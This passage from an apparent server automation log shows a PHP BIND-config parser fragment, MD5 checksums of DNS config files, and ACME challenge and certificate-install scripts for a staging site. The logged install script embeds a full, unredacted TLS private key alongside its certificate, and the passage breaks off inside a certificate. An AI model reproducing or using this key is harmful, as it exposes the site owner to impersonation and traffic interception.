			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-03 15:01:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp788839; rm /tmp/pkp788839'

2025-10-03 15:01:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-03 15:01:32: Establishing a connection
2025-10-03 15:01:33: Establishing a connection
2025-10-03 15:01:34: 

PUT: /tmp/pkp595295

#!/bin/bash
if [ -d "/mnt/internal/www/theyoungdesigners_stage/public/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-03 15:01:35: 

chmod 755 /tmp/pkp595295; /tmp/pkp595295; rm /tmp/pkp595295

2025-10-03 15:01:35: 


1


2025-10-03 15:01:37: Establishing a connection
2025-10-03 15:01:38: 

PUT: /tmp/pkp977162

#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cat > S9zfUwdXGoSZ-tKi9Eo9cprvoBe5Y9-wjqHqEHvAeio <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
S9zfUwdXGoSZ-tKi9Eo9cprvoBe5Y9-wjqHqEHvAeio.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 S9zfUwdXGoSZ-tKi9Eo9cprvoBe5Y9-wjqHqEHvAeio


2025-10-03 15:01:38: 

chmod 755 /tmp/pkp977162; /tmp/pkp977162; rm /tmp/pkp977162

2025-10-03 15:01:39: 




2025-10-03 15:01:42: Establishing a connection
2025-10-03 15:01:43: 

PUT: /tmp/pkp271189

#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
rm S9zfUwdXGoSZ-tKi9Eo9cprvoBe5Y9-wjqHqEHvAeio


2025-10-03 15:01:43: 

chmod 755 /tmp/pkp271189; /tmp/pkp271189; rm /tmp/pkp271189

2025-10-03 15:01:44: 




2025-10-03 15:01:44: Establishing a connection
2025-10-03 15:01:45: 

PUT: /tmp/pkp891133

#!/bin/bash
temp_file=$(mktemp)
TARGET=71986a4933a5df06d6ba64d41a00e6e1.crt

cat > $temp_file <<'endmsg'
40:b1:b6:14:ac:cd:df:61:11:31:93:ae:c9:d9:ca:b9

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBl1qPknw54Nq9T58F8z2EPbqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDAzMTQwMzExWhcNMjYwMTAxMTQwMzEwWjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQDKNA8JFruzKhRPXkEp8bWv+pKt0itytSaOVbjbnyQL0xSR
L9S5whBoC4Rwv1dhea5hrVGZFxbafHF9m5axeTYhWHR3od/Hv7blERGkBgcJj9zN
8S6RRZu2pa+zpU++EGOgNxfVl5Tque7/gZrFyu2BXy0gHxHFZMq/29lK48IdLCUy
aagohnD6Kav6rOG0e/VegD2XJRHBcO7WOOpj7zNs5BUaybnj50usufq6G44S41xG
OewIj58RjBVpTWYADWWrR/2I2JTOZZmHhC1bFHARNEHTGNJlTDwbTX6XXxD3mSBi
MEM9tD0X3mJLks+a3yltmMD0FPnHaQKf9mwqEPIXAgMBAAGjggIrMIICJzAOBgNV
HQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1Ud
EwEB/wQCMAAwHQYDVR0OBBYEFNsDsyqYFmbn7c3dBDA2CzpsHKXRMB8GA1UdIwQY
MBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEF
BQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wJgYDVR0RBB8wHYIbc3RhZ2Uu
dGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1Ud
HwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTA3LmNybDCCAQMG
CisGAQQB1nkCBAIEgfQEgfEA7wB1ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1w
QS0lTMfUAAABmaqX1vgAAAQDAEYwRAIgceXu4jPytDP3hT1po1ruSOaVCnhbHhvQ
LAncZiG4eF0CIHdmGf6SRs+vJldbInKnjKQSjeGI3d5T6mBDBKuP2vk/AHYADleU
vPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGZqpfW7gAABAMARzBFAiEA
i8IlV+ygxew+LIhH45K/SSIPXzb3NvLH9WQ/CJXmzIACIAjEeJmUp/Ypt6XiUftM
ZVhRtOYIgtNS+qJS4bfkby0iMA0GCSqGSIb3DQEBCwUAA4IBAQA9eLt/6kwSteDQ
5KO5aKLIKSXdNVPihWmFfbBcVFfnYXv/XvjvJhEmPnscDaRilNoBAdtvGJf6elYm
4jmqErBwZuljuqpY/rxiHrJ81kkLJ0VoJ/F+SZxxx07tgsV66036oemcUhkNNWoF
IiidbnFlkhXU26RrVveVJ5SFwC/zwEshVLmBE6s9JKFN6k274Frm0BATU5xhKcAA
LqudHrKADKILvp84Q6cpEVt0tSUwX7nnzty1Zz1UXQX1HzNlUOh4yojr8N6Xq/i2
ie32s+YWvlC2AvUzeS/1S1SJpjcJCjOR1hqVeFPU+VHSKUmzEep/pMbZ4Rm0czui
2m3qOmx+
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDKNA8JFruzKhRP
XkEp8bWv+pKt0itytSaOVbjbnyQL0xSRL9S5whBoC4Rwv1dhea5hrVGZFxbafHF9
m5axeTYhWHR3od/Hv7blERGkBgcJj9zN8S6RRZu2pa+zpU++EGOgNxfVl5Tque7/
gZrFyu2BXy0gHxHFZMq/29lK48IdLCUyaagohnD6Kav6rOG0e/VegD2XJRHBcO7W
OOpj7zNs5BUaybnj50usufq6G44S41xGOewIj58RjBVpTWYADWWrR/2I2JTOZZmH
hC1bFHARNEHTGNJlTDwbTX6XXxD3mSBiMEM9tD0X3mJLks+a3yltmMD0FPnHaQKf
9mwqEPIXAgMBAAECggEABd1+tifHqAnHbwnv3/SX7ZPaH1qiUgB5LtXDt/Mky4cC
6Lc3d2/uo+X5oH+cXEJ4UXMCk+s8iXfknt0dgOZgMJVtQ28Zm6Su/HQDS/u0xo06
vWqKjEI1oxWpRA++gWfeS+5tLY/pDOn5ycWLpMMfIoqNN4pPLKegzfHlmquCnO/2
m7vCcbFC4Z0fYfblvFe64x5DrPCpMhS59t+vMXSxNM+gJ2onCwvxAyqhfrKelc3f
nI9ab6r1/j4tVY7nznpxZe3I+bM/ikjFmCk2WWnodJ0UDqrnm7EE62h7akumqIz3
Scc9qWO7PEGYAcIS7E0qN4o29B4wXF9nkZfVSbxL+QKBgQD75+ybF2zpqrzEud8N
n7RZqtNYxn18EK2Qu7FLn2ZKHnAYNBqMldGupzkUsgDmTpCSMRtlHs3uw+MEbR74
XngJ/muduAYsjiP06zKtsZDbpUhvpmZ444XPVh7U3TLui0t9hkijjnDu5GrJOP6L
6F1er549m38e7sRUzfYF6fINzQKBgQDNfVe5g1YNDOZfXQvQrqPkCbTd62hoejvj
NRs0f1T5zXc5ftDIJODzdmbRpyEUyg1hY3/kGV/3g6N3ot2UXQE9/6feESmA9TSY
xOD73+Jm+AlbbvUbWHuaXUz8k6Yl5bAZQ8uwTF17Llt1EcKh6bVMmY+Fly+UNKbX
brLZC0C7cwKBgBU6l1r+n2QVynC9xUltoxJHbiY2HA8fjLD80FUyKrmmVQYFJhOg
8JnKZ+oRkjfWeSKI1ukvrmUnxvLxi0GdHHqjIUiaYJLSq78RLyUqKK4KAM+/8zTO
39D4TgLcXVVzEbqTXX3DHEtVnpY0omcB/xRisnA4sX7W2l7XOJuI+qglAoGAGXwy
JQ/k3Dl9WNZxYLBII0AQ7nUDvfFq/ALaHOit4U1aPAc+XZQ1UfydQ+M2dx2YCzwL
4H5FKK1q2KuaT4w5WzcZ2rDGNPg0Tb4dKR/bNGoOvwhD3eBbdAmeQrUNJiYWcQu3
d2YBMgXN0fch7HLPyXBCHI9jlz3wc0eHZuO+Y4ECgYEAmgksdjBhsAIL90qHLmQV
FUO107jw6c1EjSeeKT3T3OHBZ60SZSs2Ocwbq5TvX6TeGdQgr9+9nnIBMGTdCvKF
v66Swwx+R3CpOy98PNrT0OnXTx5k2QP3hyMRfYYgexfnDQO4Kr2tuBAPcu4qYcVF
kL5vbD76CoiphbtB/SJmKmA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
